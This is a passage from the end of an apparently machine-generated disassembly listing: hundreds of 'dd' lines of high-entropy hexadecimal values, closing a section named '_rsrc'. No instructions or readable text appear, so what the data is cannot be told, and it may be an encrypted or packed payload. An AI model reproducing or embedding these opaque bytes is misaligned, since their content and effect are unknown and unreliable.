		dd 0BD5A99E7h, 8873D3C6h, 88997C82h, 0F9FBBF58h, 686E9999h
		dd 4E319994h, 0F2F8322Fh, 6A015E12h, 41708CDEh,	83868972h
		dd 714E2323h, 6357DD2h,	0E5FB2BFFh, 6287D7C4h, 3436D8A6h
		dd 0D0B6783h, 105FBADh,	0C5C8A3A6h, 9E836B1Fh, 55848E72h
		dd 0D3528298h, 0AD17FC36h, 4AD5353Ah, 1B177211h, 0A9ED35BBh
		dd 0C699C9E5h, 0CC1286B2h, 77F57DB0h, 0E7A14133h, 958CCDB9h
		dd 62ED4245h, 28248696h, 6BF52949h, 0C3F3070Ah,	0ECE9484Ah
		dd 2861E73h, 0B4EDCCFEh, 0B1AE0F80h, 9824DB01h,	0A1CDC092h
		dd 7643FF19h, 0C2ECD593h, 0EB7F3F5Ah, 0AFC69998h, 7C4AF6B3h
		dd 3FFEF7h, 0FECE7EFBh,	0CD69D59Eh, 0B2A14B65h,	563C7322h
		dd 53549DAh, 0C3496620h, 8987E66Eh, 41C569A2h, 833B946Ah
		dd 7E6C0A29h, 6E082BEEh, 0D0CF1F1Eh, 127B711Bh,	0C0ADB0D9h
		dd 97A3DF30h, 0D72ACDB4h, 1A1617FCh, 0C9D52BBAh, 9EA9D95Eh
		dd 8C892B54h, 0DA8E880h, 0A3DBBEF1h, 0A5E0850Ch, 586F4244h
		dd 2714A441h, 188DCD76h, 0C258F8FFh, 0EBE949DEh, 0A4CDA0D5h
		dd 9038E8F9h, 80823F9Ah, 234DDD50h, 8232A2B1h, 83213BD2h
		dd 2338EAEAh, 0F7C777E9h, 2D5199FDh, 297ADAD9h,	7D29E348h
		dd 70FE6E70h, 0B25484D9h, 0B1B1AE4Ah, 74CC7321h, 2041EE68h
		dd 4EA667B0h, 9A86ADE4h, 83DB2B62h, 2F4F606Ah, 42AD2CA3h
		dd 0DE850D2Ch, 0C0EB6B24h, 9F41438Fh, 647E4D0Fh, 968F1BF4h
		dd 0F9F03536h, 37370F41h, 61789699h, 0B3BCDCDEh, 0A6FE4305h
		dd 2A6E585Eh, 2C17F18Ah, 5CF70022h, 0D4C9A7D6h,	8AE00584h
		dd 265C5C6h, 0FAF05708h, 0C628DCB6h, 0A1A08BBAh, 6E5CD9FEh
		dd 0B44D0E64h, 0A1FD9924h, 32329778h, 1056F5D2h, 4AE2151Eh
		dd 0C6DCB2C0h, 34FD1A96h, 12713188h, 0BBBC1C12h, 0DC26E3D6h
		dd 6D17A0ACh, 0AC407421h, 1462310h, 0B688311Fh,	45768A5Ch
		dd 92B54266h, 45C92917h, 3A2595E5h, 268287AAh, 0DDDBBCECh
		dd 0E372BAD1h, 0E992715Fh, 0C27DCCB1h, 201E0D78h, 0D6E519CAh
		dd 0B6E57AC6h, 0B238A8CDh, 63660FA0h, 3ECC495Dh, 1E6AF074h
		dd 0AED55454h, 1F2DCE2Ah, 0E3D26EBDh, 0D2A32070h, 98367C2Eh
		dd 988BB692h, 8654C948h, 2A2BBB9Ch, 5D04E6BFh, 51AE0E78h
		dd 0DFDC39DBh, 0CF8F128Fh, 7373E3FFh, 31720467h, 0F5C777F2h
		dd 37399995h, 57845F11h, 53BC1C29h, 401A052h, 3D4462C6h
		dd 517E5450h, 3F95232Fh, 322968F5h, 0BBBE25A2h,	863C63EBh
		dd 42402926h, 93B5B64h,	0B41AACC3h, 0BDA1B07Eh,	0C10FAA2Dh
		dd 1011D5EAh, 29299B0h,	0C49099A2h, 0D5BD345Eh,	41D77775h
		dd 72A92D48h, 631AF9C9h, 0EE5F34C4h, 971D7D78h,	506EB93Bh
		dd 0AA2D8D00h, 6FE27271h, 14149717h, 0C3794C4h,	32585706h
		dd 0E8D96552h, 25D4730Bh, 6C68CC4Eh, 52AE640Ch,	0DEC057F8h
		dd 21A76D8Eh, 0F173E3FCh, 37BAEAEAh, 0F4F754BAh, 6221C1Dh
		dd 0B149DAE6h, 0E9EDDF1Bh, 0ABFA3408h, 0C471565h, 0EB7EE1ECh
		dd 0BFF308EBh, 850AA5DAh, 4346A564h, 0E2ED0h, 0C6F9193Ah
		dd 605A3A37h, 4A43ACB7h, 0C91812BAh, 48CF1F00h,	71957EADh
		dd 0D852B2ACh, 0A3A3D074h, 9F5EF633h, 7644CF4Ch, 8A6BB8B6h
		dd 6B6E38FBh, 5E52DACDh, 1D2D4D54h, 0E762F536h,	0A19FE433h
		dd 23E29372h, 0C5D47275h, 5643414Dh, 0A8650636h, 11EE03F0h
		dd 79A7BC6Bh, 2FDCC4D2h, 0E47D0E18h, 0EDC78E26h, 6F0B105Eh
		dd 8B1CBBA7h, 30FD0A66h, 86F75A29h, 0A73134Bh, 7B6D9B5Dh
		dd 0FD360B5Ah, 230AA211h, 0B9045EB9h, 7EB0D0C7h, 0FB497BDDh
		dd 898D687Bh, 4345A519h, 0B44526D0h, 0F6E61F17h, 39245A48h
		dd 13FE588h, 0FCE08298h, 0A3A7004Dh, 51D1F0Bh, 37388D8Ch
		dd 0F6FF9383h, 0B7A64713h, 627E5449h, 776DC7C2h, 0D1ECB6D7h
		dd 0ABB65448h, 7375521Ah, 2D72D2DBh, 0C8A1D19Ch, 0C2C2717Ch
		dd 5046EBF5h, 4652FEACh, 0C0CC606Eh, 0D9DA332Fh, 535DFAA8h
		dd 4E57AFA6h, 0C9DE636Eh, 0DED43C28h, 1F0CAEACh, 1303B7B9h
		dd 0BE8D767Fh, 7F0BDE59h, 6078C19h, 0FB3668D6h,	17481EF1h
		dd 0C57D552Ch, 524CD5EEh, 0F5BC2BA9h, 0A44CAAE0h, 0B103536Fh
		dd 46AD279Dh, 6BF04B11h, 0B3E818A5h, 94EE291h, 9595758Dh
		dd 0C3C9D635h, 25B87468h, 0E7F14422h, 5150B283h, 9391A999h
		dd 253B6833h, 62EA8A89h, 43DB3D96h, 1797C7C8h, 14F2380Eh
		dd 2E27F635h, 0D8F84F40h, 0A0E37026h, 0C56A8ACCh, 0D7DD81B2h
		dd 0A9E90160h, 1A290FEDh, 0E8D668B8h, 19F70374h, 0D556503h
		dd 0D7970D7Eh, 0CEC14F3Ah, 4473B324h, 65EEC3Ch,	0C6B22ECFh
		dd 7FC9B7BBh, 65B35095h
		dd 7877E7E6h, 0FCE15C25h, 0C7C92F59h, 3C6FDEC9h, 815BF5A8h
		dd 82C0DFE1h, 14F3617h,	137EB1D5h, 0F184B4ABh, 95871B2Eh
		dd 8D076836h, 0B5B657E9h, 0BCD96F14h, 0FE272C1Ch, 0F0F0F184h
		dd 6C4C2450h, 0D0DEB9A6h, 2AF5B63Ch, 41298B8Bh,	571BE0F5h
		dd 6568EA7Ch, 988F05C5h, 99154848h, 0A0A445ACh,	0F5CFACC2h
		dd 0E45A310Eh, 17DF7F7Ch, 9B4F291Fh, 23ACFCF9h,	171AB8BEh
		dd 3CCF55BBh, 8468C8CAh, 5255F455h, 0EEEC4CA5h,	0DDAFD38Eh
		dd 725FE6E9h, 0B3B023FBh, 0C60C3753h, 616201Fh,	0F112D6E6h
		dd 0EA05983Ah, 0FBFA6A69h, 92D496EFh, 97822222h, 0BFBF1E0Dh
		dd 4C3FE039h, 4BC7ADFBh, 0E83E3E2h, 18C6197Bh, 583CE600h
		dd 0B2CDA7EDh, 7B89E9EAh, 0EDCB3D6Fh, 8A026D6Dh, 514EAE44h
		dd 91D3AC07h, 0D430B53Ch, 68927374h, 78749496h,	4E11FAD8h
		dd 33D7373Ah, 0E2E684DCh, 5F9338B2h, 0E310FBFFh, 0F297B649h
		dd 206CBEA9h, 638B00F7h, 0ED2BCA05h, 0C361CD57h, 0C226B6B8h
		dd 93983A9Ch, 0ADA9A6E4h, 0C976C04Dh, 332DBDBEh, 425EE54Dh
		dd 4FDEF812h, 70FDADACh, 3634941Bh, 4856605Dh, 0E73C1728h
		dd 12275A65h, 0C3C466CDh, 34FDA1AEh, 0BFBE7E3Ah, 57FEEBBFh
		dd 0CE55DBA2h, 0B592E256h, 0D6BE2725h, 80095DFh, 0EFB4F0A8h
		dd 8E6BE95Bh, 93958EDFh, 9D3D633Fh, 51CF2A22h, 1AE8EEF1h
		dd 2B2FABA3h, 0F3C29A8Bh, 0D3094C49h, 0D097F8B2h, 0DD97BB2Ah
		dd 94303B50h, 5F59E63Ah, 81DC3DFFh, 0C2FC1C61h,	0AF36350Bh
		dd 0E3D4AF8Eh, 0A7913121h, 9BEB097Eh, 226F0C8Bh, 0EF7684CBh
		dd 26A8506Fh, 0DEDA65C8h, 386E8D8Eh, 413D8ED1h,	91246BC0h
		dd 0ACF3DE37h, 6342E17h, 7774D4E6h, 464A829Ch, 0D94DA7A6h
		dd 0C33AAAAAh, 4E57B649h, 0A008E21Eh, 0FFFF6F6Fh, 726B6D35h
		dd 8F0C6CE2h, 48C31314h, 373576F0h, 2314F7A7h, 8C3218E9h
		dd 33C9191Bh, 3E270EF9h, 57F953AEh, 6D8DDDC0h, 0E3E4E2A7h
		dd 0EAA4FC73h, 0A852829Bh, 0A9A3F042h, 4F2A6339h, 1C275B27h
		dd 6E5F1D3Fh, 6399F9CEh, 0E1DB3BA8h, 22772081h,	4FB35342h
		dd 56F80035h, 9F678349h, 0AC24B492h, 0A3E60609h, 6DA8F7F4h
		dd 0DDFC31C9h, 3F16488Dh, 46CE6CFh, 0CE2F680Dh,	829C5C76h
		dd 0DD5281E6h, 888C2C11h, 0E35D1062h, 1108A8A5h, 0C4C6664Bh
		dd 5085F4BAh, 0AC884A65h, 0FFFE7EE6h, 0E4A8C09Fh, 0F67E1E1Eh
		dd 0E087A81Ah, 0F9B0E854h, 0C3469688h, 0BE1EFB8h, 0B8CB2F10h
		dd 0D633D4Eh, 0C44C53ADh, 0C38D872Bh, 7B5AD061h, 9711415Eh
		dd 68D3BA70h, 0C4ACCCAAh, 1F56364Dh, 0E61F9F7Dh, 22B04744h
		dd 0FE660602h, 0E0BF83FCh, 93F67D80h, 645E977Ah, 0A5B0E804h
		dd 0C6204245h, 28143C86h, 698DC5C8h, 69A7070Ah,	0B864496Fh
		dd 0E687A8h, 0C6C344Dh,	0B1466E09h, 79F05051h, 6902B6C6h
		dd 9BF2C95Fh, 0B7853EA1h, 71950BFh, 3EFBF867h, 0Dh dup(0)
		dd 1500h dup(?)
_rsrc		ends


		end start